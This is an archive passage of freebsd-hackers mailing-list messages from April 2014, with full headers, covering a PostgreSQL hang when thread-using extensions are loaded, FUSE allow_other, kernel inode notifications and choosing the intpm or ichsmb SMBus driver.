CFLAGS='-O2 -pthread' workaround To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 03:13:15 -0000 move to hacker' list this is postgresql thread about this topic: http://www.postgresql.org/message-id/11613.1397526760@sss.pgh.pa.us Jov blog: http:amutu.com/blog ---------- Forwarded message ---------- From: Jov Date: 2014-04-15 9:23 GMT+08:00 Subject: PostgreSQL hang On FreeBSD,with CFLAGS=3D'-O2 -pthread' workaround To: FreeBSD questions Cc: =CA=EE=ED=F1=F2=E0=ED=F2=E8=ED =CA=ED=E8=E6=ED=E8=EA hi~ FreeBSD hackers, I find some problems when use pg on FreeBSD.On FreeBSD,If installed extension which pthread lib is used,for example plv8,pljava,imcs etc,when query touch these extenstions,the PG backend will hang. there is a solution,which configure postgresql with CFLAGS=3D'-O2 -pthread' and compile pg from source ,then install the extension.But this solution is not offical documented and not easy to use(you must compile pg from source).It may make some extension developers or user waste much time to solve it,and make people complain that PG or FreeBSD not stable. knizhnik has some insight: > Actually I have already reproduced the problem with my lockbench test. It > work when build as application with -pthread, but doesn't work if it buil= t > as shared library and loaded from application built without -pthread. > Unfortunately I do not know other solution rather than rebuilt PostgreSQL > with pthread. Sorry, that I have not informed you about my investigations > and thank you for your help. I also run this test at OS/X - there is no > such problem. this is the ldd output: [jovz@ ~]$ ldd pgsql_pthread/bin/postgres pgsql/bin/postgres: libm.so.5 =3D> /lib/libm.so.5 (0x800cd1000) libthr.so.3 =3D> /lib/libthr.so.3 (0x800ef7000) libc.so.7 =3D> /lib/libc.so.7 (0x80111c000) [jovz@ ~]$ ldd pgsql934/bin/postgres pgsql934/bin/postgres: libm.so.5 =3D> /lib/libm.so.5 (0x800cd1000) libc.so.7 =3D> /lib/libc.so.7 (0x800ef7000) the output make me remember some talk about sshd Zombie recently, which something aoubt libc and libthr. is this a known problem with FreeBSD pthread implement? ref: http://www.postgresql.org/message-id/534785D2.6050105@matrix.gatewaynet.com https://github.com/knizhnik/imcs/issues/25 http://code.google.com/p/plv8js/issues/detail?id=3D34 Jov blog: http:amutu.com/blog From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 11:29:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6CF01D7A for ; Wed, 16 Apr 2014 11:29:23 +0000 (UTC) Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 23878124E for ; Wed, 16 Apr 2014 11:29:22 +0000 (UTC) Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1WaO1g-0008JR-LQ for freebsd-hackers@freebsd.org; Wed, 16 Apr 2014 13:29:12 +0200 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 16 Apr 2014 13:29:12 +0200 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 16 Apr 2014 13:29:12 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-hackers@freebsd.org From: Ivan Voras Subject: fuse & sshfs: allow_other Date: Wed, 16 Apr 2014 13:28:35 +0200 Lines: 36 Message-ID: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="uXNHE7QPiAIGsiiAKNtU8hMn0lQupjwT7" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 X-Enigmail-Version: 1.6 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 11:29:23 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --uXNHE7QPiAIGsiiAKNtU8hMn0lQupjwT7 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Hello, I'm trying to use the "allow_other" option to fuse (allowing other users to access the mount point), and it doesn't seem to work. On Linux, a line in fuse.conf =E2=80=9Cuser_allow_other=E2=80=9D should b= e all that's needed, but it doesn't work here - I tried creating fuse.conf in both /etc and /usr/local/etc. Any ideas? --uXNHE7QPiAIGsiiAKNtU8hMn0lQupjwT7 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iKYEARECAGYFAlNOaXlfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDYxNDE4MkQ3ODMwNDAwMDJFRUIzNDhFNUZE MDhENTA2M0RGRjFEMkMACgkQ/QjVBj3/HSw9CwCgiKypJkJ6x2CNZp9zGoyzATDq qLYAn1cySoY/XQKopyxgapT8O+CkTmJ/ =M0a5 -----END PGP SIGNATURE----- --uXNHE7QPiAIGsiiAKNtU8hMn0lQupjwT7-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 14:01:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A0C99B1C for ; Wed, 16 Apr 2014 14:01:42 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7A312135F for ; Wed, 16 Apr 2014 14:01:42 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 68164B94F; Wed, 16 Apr 2014 10:01:41 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: inode modification notification in kernel Date: Wed, 16 Apr 2014 09:44:15 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <20140411220747.GA7305@pwnie.vrt.sourcefire.com> In-Reply-To: <20140411220747.GA7305@pwnie.vrt.sourcefire.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201404160944.15107.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Wed, 16 Apr 2014 10:01:41 -0400 (EDT) Cc: Shawn Webb X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 14:01:42 -0000 On Friday, April 11, 2014 6:07:48 pm Shawn Webb wrote: > Hey All, > > I'm a newb at the kernel API. What's the best way to receive > notification of a deletion event of a given inode in the kernel? In > userland, I'd use kqueue/kevent. Is that same API available in the > kernel? Or is there something different? There really isn't an in-kernel API for that. However, you might be able to do something in your filesystem's VOP_RECLAIM (depends on what you are trying to use this for) -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 14:01:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2E25AB1F for ; Wed, 16 Apr 2014 14:01:45 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 06C301360 for ; Wed, 16 Apr 2014 14:01:45 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id EAD61B95D; Wed, 16 Apr 2014 10:01:43 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: intpm driver on Intel S1200RP Board Date: Wed, 16 Apr 2014 09:45:33 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: In-Reply-To: MIME-Version: 1.0 Message-Id: <201404160945.33823.jhb@freebsd.org> Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Wed, 16 Apr 2014 10:01:44 -0400 (EDT) Cc: Vladimir Laskov X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 14:01:45 -0000 On Friday, April 11, 2014 6:33:14 pm Vladimir Laskov wrote: > Hello > I try load intpm driver and see follow > > part of dmesg output > --------------------------------------------------------------------------------- > pci0: driver added > found-> vendor=0x8086, dev=0x8c22, revid=0x05 > domain=0, bus=0, slot=31, func=3 > class=0c-05-00, hdrtype=0x00, mfdev=0 > cmdreg=0x0543, statreg=0x0280, cachelnsz=0 (dwords) > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > intpin=c, irq=18 > pci0:0:31:3: reprobing on driver added > found-> vendor=0x8086, dev=0x8c24, revid=0x05 > domain=0, bus=0, slot=31, func=6 > class=11-80-00, hdrtype=0x00, mfdev=0 > cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > intpin=c, irq=18 > powerspec 3 supports D0 D3 current D0 > MSI supports 1 message > pci0:0:31:6: reprobing on driver added > pci1: driver added > pci2: driver added > ---------------------------------------------------------------------------------- > > It is correct ? Doesn't look like it found anything to attach to. I believe for newer Intel chipsets you want ichsmb instead of intpm? -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 14:40:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A38405DC for ; Wed, 16 Apr 2014 14:40:23 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DD7EF1731 for ; Wed, 16 Apr 2014 14:40:22 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3GEdn3o067358; Wed, 16 Apr 2014 17:39:49 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3GEdn3o067358 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3GEdmOH067357; Wed, 16 Apr 2014 17:39:48 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 16 Apr 2014 17:39:48 +0300 From: Konstantin Belousov To: Jov Subject: Re: Fwd: PostgreSQL hang On FreeBSD, with CFLAGS='-O2 -pthread' workaround Message-ID: <20140416143948.GS4016@kib.kiev.ua> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5PFZVUeDPxlnBcQp" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 14:40:23 -0000 --5PFZVUeDPxlnBcQp Content-Type: text/plain; charset=koi8-r Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 16, 2014 at 11:12:52AM +0800, Jov wrote: > move to hacker' list >=20 > this is postgresql thread about this topic: > http://www.postgresql.org/message-id/11613.1397526760@sss.pgh.pa.us >=20 > Jov > blog: http:amutu.com/blog >=20 >=20 > ---------- Forwarded message ---------- > From: Jov > Date: 2014-04-15 9:23 GMT+08:00 > Subject: PostgreSQL hang On FreeBSD,with CFLAGS=3D'-O2 -pthread' workarou= nd > To: FreeBSD questions > Cc: =EB=CF=CE=D3=D4=C1=CE=D4=C9=CE =EB=CE=C9=D6=CE=C9=CB >=20 >=20 > hi~ FreeBSD hackers, > I find some problems when use pg on FreeBSD.On FreeBSD,If installed > extension which pthread lib is used,for example plv8,pljava,imcs etc,when > query touch these extenstions,the PG backend will hang. >=20 > there is a solution,which configure postgresql with CFLAGS=3D'-O2 -pthrea= d' > and compile pg from source ,then install the extension.But this solution = is > not offical documented and not easy to use(you must compile pg from > source).It may make some extension developers or user waste much time to > solve it,and make people complain that PG or FreeBSD not stable. >=20 > knizhnik has some insight: >=20 > > Actually I have already reproduced the problem with my lockbench test. = It > > work when build as application with -pthread, but doesn't work if it bu= ilt > > as shared library and loaded from application built without -pthread. > > Unfortunately I do not know other solution rather than rebuilt PostgreS= QL > > with pthread. Sorry, that I have not informed you about my investigatio= ns > > and thank you for your help. I also run this test at OS/X - there is no > > such problem. >=20 >=20 > this is the ldd output: > [jovz@ ~]$ ldd pgsql_pthread/bin/postgres > pgsql/bin/postgres: > libm.so.5 =3D> /lib/libm.so.5 (0x800cd1000) > libthr.so.3 =3D> /lib/libthr.so.3 (0x800ef7000) > libc.so.7 =3D> /lib/libc.so.7 (0x80111c000) > [jovz@ ~]$ ldd pgsql934/bin/postgres > pgsql934/bin/postgres: > libm.so.5 =3D> /lib/libm.so.5 (0x800cd1000) > libc.so.7 =3D> /lib/libc.so.7 (0x800ef7000) >=20 > the output make me remember some talk about sshd Zombie recently, which > something aoubt libc and libthr. >=20 > is this a known problem with FreeBSD pthread implement? Yes, this is a known issue, libthr.so cannot be loaded dynamically. If the binary could load any dso which is linked with libpthread, threading library must be linked to the binary. I tried to mark it as -z nodlopen some time ago, but it caused too much complains. >=20 > ref: > http://www.postgresql.org/message-id/534785D2.6050105@matrix.gatewaynet.c= om >=20 > https://github.com/knizhnik/imcs/issues/25 >=20 > http://code.google.com/p/plv8js/issues/detail?id=3D34 >=20 > Jov > blog: http:amutu.com/blog > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" --5PFZVUeDPxlnBcQp Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTTpY0AAoJEJDCuSvBvK1BFYsP/Ag7CaOkBP/CXtxWVr57gs6Q e06IyTboiDBGk9oFswBmvF6efobbWHeB8VO+U0f+yiD7ljF731js7Cpi1S3kPMxw 85z+n6pyKe7PRdWHjB6/7ZnAKXPGc+AlMJ65aVDTXI3YwVJfdMym4sozM3dY05dT fCEUV8EO6gShvxP0dU/SK1Z7VJ7lGUmHueR+UZdyxTGWyIUJGriwx8A20uCJMtym +4aSk3oKk1GQkGkBx8ZhvoAbSkBo2DeyqMBuZPxhlWlMe+Wt66AUNwlnfskCuO80 qSe6R6ZtWqxCvLfSSCgcpTspr8wAUKLHg1OaMoee1KaeDMw0HpLIR0Qxb9SmpF0S oT1ZbI56YsBFzAmeaon0WC2fei82rFnD1fueqacvsyMq2ucUeVY52lVy/Kk5FRjr oMfkj0BXakuQBXVMZI9l4Uhv8DncjesMGVJVaHfDrZ7Qq9DK1o99oGI4DUHQ9h4C NfK+JH7IjKZWzcCrKG2Y6FPkxE/ZlDSk7Hs0jux5h5CaNEuDWAwO6kebEezf9N3p p6HudfDpFMmZg8SVQ7mgaoATnpKn2m1bFL6uWOPJuJPaDncfYOEBzAO3hzAkM/un FQZ52vK0JMY1BboSFuV47xyKrNyLv3qDT2ruPMIwZDguOJWk9Z+70TTkIYZrXbe2 +0Gp3FIdk/j0z0cdvSzA =WXYh -----END PGP SIGNATURE----- --5PFZVUeDPxlnBcQp-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 15:50:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A248415E for ; Wed, 16 Apr 2014 15:50:42 +0000 (UTC) Received: from col0-omc2-s4.col0.hotmail.com (col0-omc2-s4.col0.hotmail.com [65.55.34.78]) by mx1.freebsd.org (Postfix) with ESMTP id 8367F1E4F for ; Wed, 16 Apr 2014 15:50:42 +0000 (UTC) Received: from COL128-W26 ([65.55.34.71]) by col0-omc2-s4.col0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Wed, 16 Apr 2014 08:49:35 -0700 X-TMN: [3sFKYR54R6pYF93UeIcOSZlK4QN5iQAB] X-Originating-Email: [assembler914@outlook.com] Message-ID: From: velocidade da luz To: "freebsd-hackers@freebsd.org" Subject: Corrected in FreeBSD Developers Handbook Date: Wed, 16 Apr 2014 18:49:35 +0300 Importance: Normal MIME-Version: 1.0 X-OriginalArrivalTime: 16 Apr 2014 15:49:35.0918 (UTC) FILETIME=[779DA4E0:01CF598B] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 15:50:42 -0000 You agree that should be corrected in FreeBSD Developers Handbook the what = is being discussed in FreeBSD Forums. http://forums.freebsd.org/viewtopi= c.php?f=3D34&t=3D45995 I am interested in learning the true Assembly. = From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 16:11:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id ED92E91A; Wed, 16 Apr 2014 16:11:47 +0000 (UTC) Received: from mail-qg0-x233.google.com (mail-qg0-x233.google.com [IPv6:2607:f8b0:400d:c04::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9DB151193; Wed, 16 Apr 2014 16:11:47 +0000 (UTC) Received: by mail-qg0-f51.google.com with SMTP id q108so11357063qgd.24 for ; Wed, 16 Apr 2014 09:11:46 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=dzCk2hHeozJUN0pYYvLCE2T2K8Elrp6C8dksZZUEbUc=; b=ByULQ5mfzoHpAEHlJE1t2UJQ55QKyM1M+xZVsnlZs34PP5BImTgt2X9WXQqr9mVhVu k9DKOu1CSAl6/BdmN6wo2sshsar3knvox9AkytoHUWb7za0W13I+wkC2IqaQRRALr26G AfZs5lrw9q+mQ79GwMeH/i9I7X+K0bUETx3UNq2rdRoqut9lAPXunCf8vJNUXLJsvziZ y0nV6MeY2qYcHev0y3bKQpN+hpt92bTB2yH9XYfEsnFdYQTJigAtp+kHR31nchW8p2RQ YBeeb2U7xrXUzK6I99LxC+aR+K/odL+vAR/O5/p3RJMiGbfxgfdSjry57rraoTs6MYQv 2ogA== MIME-Version: 1.0 X-Received: by 10.140.102.135 with SMTP id w7mr10744511qge.29.1397664706749; Wed, 16 Apr 2014 09:11:46 -0700 (PDT) Received: by 10.140.37.168 with HTTP; Wed, 16 Apr 2014 09:11:46 -0700 (PDT) In-Reply-To: <201404160945.33823.jhb@freebsd.org> References: <201404160945.33823.jhb@freebsd.org> Date: Wed, 16 Apr 2014 20:11:46 +0400 Message-ID: Subject: Re: intpm driver on Intel S1200RP Board From: Vladimir Laskov To: John Baldwin Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 16:11:48 -0000 sorry, i do not understand On Wed, Apr 16, 2014 at 5:45 PM, John Baldwin wrote: > On Friday, April 11, 2014 6:33:14 pm Vladimir Laskov wrote: > > Hello > > I try load intpm driver and see follow > > > > part of dmesg output > > > > --------------------------------------------------------------------------------- > > pci0: driver added > > found-> vendor=0x8086, dev=0x8c22, revid=0x05 > > domain=0, bus=0, slot=31, func=3 > > class=0c-05-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0543, statreg=0x0280, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > pci0:0:31:3: reprobing on driver added > > found-> vendor=0x8086, dev=0x8c24, revid=0x05 > > domain=0, bus=0, slot=31, func=6 > > class=11-80-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > powerspec 3 supports D0 D3 current D0 > > MSI supports 1 message > > pci0:0:31:6: reprobing on driver added > > pci1: driver added > > pci2: driver added > > > > ---------------------------------------------------------------------------------- > > > > It is correct ? > > Doesn't look like it found anything to attach to. I believe for > newer Intel chipsets you want ichsmb instead of intpm? > > -- > John Baldwin > From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 16:17:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E710CC58 for ; Wed, 16 Apr 2014 16:17:28 +0000 (UTC) Received: from mail-la0-x230.google.com (mail-la0-x230.google.com [IPv6:2a00:1450:4010:c03::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6FFF911F3 for ; Wed, 16 Apr 2014 16:17:28 +0000 (UTC) Received: by mail-la0-f48.google.com with SMTP id gf5so8154375lab.7 for ; Wed, 16 Apr 2014 09:17:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=VR2kwa47HzR+dEBwHjqtwc+7PnbSOS1uC7lQ47ebRSY=; b=QK9HbTrS/Is3x4xWup40+3JsR7+sud5bqoupW51lhDe1ejbWxvoNXuOp4sU3wYnF6o PeEjlXxQADMm4HKRMgKwDra+iZmPGzRUiTb6TYUJOcBuAaqRw3Za9BpJIR1/8nfDIMeI Zg/SjJ6p92TC3cDYBVgr/ueCEi8JinK5bX+WhAkZul7dLtFeJELoJf98Q4Jid9XUyGEE MhVuw3nqwxzNcsmsGFtdBWML2aZkHzvgMK6m+xhh/czlAr6KS117XBUEY+QfbddPDLrJ DQOcip1PLZZVQmKZdcbKJzAArWYXK9t+5LSoi/t5rYXzhok1x+aykv82Gr/joWnNWpa2 A45A== MIME-Version: 1.0 X-Received: by 10.152.87.102 with SMTP id w6mr2118738laz.46.1397665046417; Wed, 16 Apr 2014 09:17:26 -0700 (PDT) Received: by 10.112.129.164 with HTTP; Wed, 16 Apr 2014 09:17:26 -0700 (PDT) In-Reply-To: References: <201404160945.33823.jhb@freebsd.org> Date: Wed, 16 Apr 2014 17:17:26 +0100 Message-ID: Subject: Re: intpm driver on Intel S1200RP Board From: Tom Evans To: Vladimir Laskov Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 16:17:29 -0000 On Wed, Apr 16, 2014 at 5:11 PM, Vladimir Laskov wrote: > sorry, i do not understand intpm(4) is a driver for a chip found on very old motherboards for Pentium II and Pentium III processors. It is not a driver for any chip on S1200RP board, the correct driver is (probably) ichsmb(4). Cheers Tom From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 17:10:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 00650D16 for ; Wed, 16 Apr 2014 17:10:10 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CC5701775 for ; Wed, 16 Apr 2014 17:10:10 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 2DC70B94F; Wed, 16 Apr 2014 13:10:09 -0400 (EDT) From: John Baldwin To: Vladimir Laskov Subject: Re: intpm driver on Intel S1200RP Board Date: Wed, 16 Apr 2014 13:05:31 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <201404160945.33823.jhb@freebsd.org> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201404161305.31354.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Wed, 16 Apr 2014 13:10:09 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Apr 2014 17:10:11 -0000 On Wednesday, April 16, 2014 12:11:46 pm Vladimir Laskov wrote: > sorry, i do not understand IIRC, the intpm(4) driver is only for older Intel chipsets like the PIIX4. For modern Intel chipsets you want ichsmb(4) instead. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 16 18:19:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0F912D4C for ; Wed, 16 Apr 2014 18:19:03 +0000 (UTC) Received: from mail-wi0-x236.google.com (mail-wi0-x236.google.com [IPv6:2a00:1450:400c:c05::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 985401041 for ; Wed, 16 Apr 2014 18:19:02 +0000 (UTC) Received: by mail-wi0-f182.google.com with SMTP id d1so1818432wiv.15 for ; Wed, 16 Apr 2014 